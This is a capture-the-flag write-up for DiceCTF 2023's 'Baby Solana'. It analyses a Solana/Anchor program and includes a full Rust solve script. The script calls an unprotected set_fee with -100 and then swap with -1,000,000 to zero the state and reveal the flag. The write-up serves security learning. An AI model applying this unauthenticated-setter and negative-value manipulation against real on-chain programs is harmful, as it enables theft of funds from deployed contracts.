Dice '23: Baby Solana
Baby Solana
Remark
So this was my first Solana pwn/challenge. It was a great learning experience seeing Rust at work interacting with Solana. It seems to have an interesting syntax!
Source Code
Extracting the given folder provides two folders: framework and framework-solve
I was mostly interested main.rs and lib.rs within the framework folder.
Observe the code in main.rs:
let ix = chall::instruction::InitVirtualBalance {
x: 1_000_000,
y: 1_000_001,
};
I’m not 100% sure about the Rust syntax, but it seems like initializing instance variables in a class of a trivial Object Oriented language; in this case x and y to 1,000,000 and 1,000,001 respectively.
and
if state.x == 0 && state.y == 0 {
writeln!(socket, "congrats!")?;
if let Ok(flag) = env::var("FLAG") {
writeln!(socket, "flag: {:?}", flag)?;
} else {
writeln!(socket, "flag not found, please contact admin")?;
}
}
This will print the flag if x and y are both set to zero. This will be our aim.
In lib.rs, we can find two methods set_fee and swap that interact with fee, x, and y. These will allow us to control x and y and eventually print the flag:
pub fn set_fee(ctx: Context<AuthFee>, fee: NUMBER) -> Result<()> {
let state = &mut ctx.accounts.state.load_mut()?;
state.fee = fee;
Ok(())
}
pub fn swap(ctx: Context<Swap>, amt: NUMBER) -> Result<()> {
let state = &mut ctx.accounts.state.load_mut()?;
state.x += amt;
state.y += amt;
state.x += state.fee * state.x / 100;
state.y += state.fee * state.y / 100;
Ok(())
}
Attack Plan
We need to utilize these methods to manipulate the fee, x, and y.
We are given this code in lib.rs inside framework-solve folder:
pub fn get_flag(_ctx: Context<GetFlag>) -> Result<()> {
Ok(())
}
I assume that I need to complete this method get_flag to “get flag.”
By studying the method swap, I concluded that if I can pass a value of -1,000,000 to amt and set fee as -100, I can set x and y as 0.
We pretty much have to set the fee first in order to call swap for another account and make x and y zero.
If we take a look at lib.rs again:
pub fn set_fee(ctx: Context<AuthFee>, fee: NUMBER) -> Result<()> {
let state = &mut ctx.accounts.state.load_mut()?;
state.fee = fee;
Ok(())
}
pub fn swap(ctx: Context<Swap>, amt: NUMBER) -> Result<()> {
let state = &mut ctx.accounts.state.load_mut()?;
state.x += amt;
state.y += amt;
state.x += state.fee * state.x / 100;
state.y += state.fee * state.y / 100;
Ok(())
}
We see that the context needs to be AuthFee to call set_fee and Swap to call swap. So I’ll initialize two accounts, each being AuthFee and Swap type so that I could set the fee using AuthFee account and set x and y using Swap account.
Exploiting
Within the framework-solve folder, I will edit lib.rs’s getflag() method to call set_fee() and swap().
To call set_fee(), I need to create a AuthFee account, which can be set as:
let fee_accs = chall::cpi::accounts::AuthFee{
state: _ctx.accounts.state.to_account_info(),
payer: _ctx.accounts.payer.to_account_info(),
system_program: _ctx.accounts.system_program.to_account_info(),
rent: _ctx.accounts.rent.to_account_info(),
};
Then, we can create an instance of fee_accs to be used to call set_fee like:
let fee = CpiContext::new(_ctx.accounts.chall.to_account_info(), fee_accs);
and we call set_fee as:
chall::cpi::set_fee(fee, -100)?;
Similarily, we set account type Swap, create an instance, and call swap as follows:
let swap_accs = chall::cpi::accounts::Swap{
state: _ctx.accounts.state.to_account_info(),
payer: _ctx.accounts.payer.to_account_info(),
system_program: _ctx.accounts.system_program.to_account_info(),
rent: _ctx.accounts.rent.to_account_info(),
};
let swap_cpi = CpiContext::new(_ctx.accounts.chall.to_account_info(), swap_accs);
chall::cpi::swap(swap_cpi, -1_000_000)?;
Finally, running the provided ./run.sh
gives us the flag.
End
The final lib.rs looks like:
use anchor_lang::prelude::*;
use anchor_spl::token::Token;
declare_id!("osecio1111111111111111111111111111111111111");
#[program]
pub mod solve {
use super::*;
pub fn get_flag(_ctx: Context<GetFlag>) -> Result<()> {
let fee_accs = chall::cpi::accounts::AuthFee{
state: _ctx.accounts.state.to_account_info(),
payer: _ctx.accounts.payer.to_account_info(),
system_program: _ctx.accounts.system_program.to_account_info(),
rent: _ctx.accounts.rent.to_account_info(),
};
let fee = CpiContext::new(_ctx.accounts.chall.to_account_info(), fee_accs);
chall::cpi::set_fee(fee, -100)?;
let swap_accs = chall::cpi::accounts::Swap{
state: _ctx.accounts.state.to_account_info(),
payer: _ctx.accounts.payer.to_account_info(),
system_program: _ctx.accounts.system_program.to_account_info(),
rent: _ctx.accounts.rent.to_account_info(),
};
let swap_cpi = CpiContext::new(_ctx.accounts.chall.to_account_info(), swap_accs);
chall::cpi::swap(swap_cpi, -1_000_000)?;
Ok(())
}
}
#[derive(Accounts)]
pub struct GetFlag<'info> {
#[account(mut)]
pub state: AccountInfo<'info>,
#[account(mut)]
pub payer: Signer<'info>,
pub system_program: Program<'info, System>,
pub token_program: Program<'info, Token>,
pub rent: Sysvar<'info, Rent>,
pub chall: Program<'info, chall::program::Chall>
}
Thanks, 079.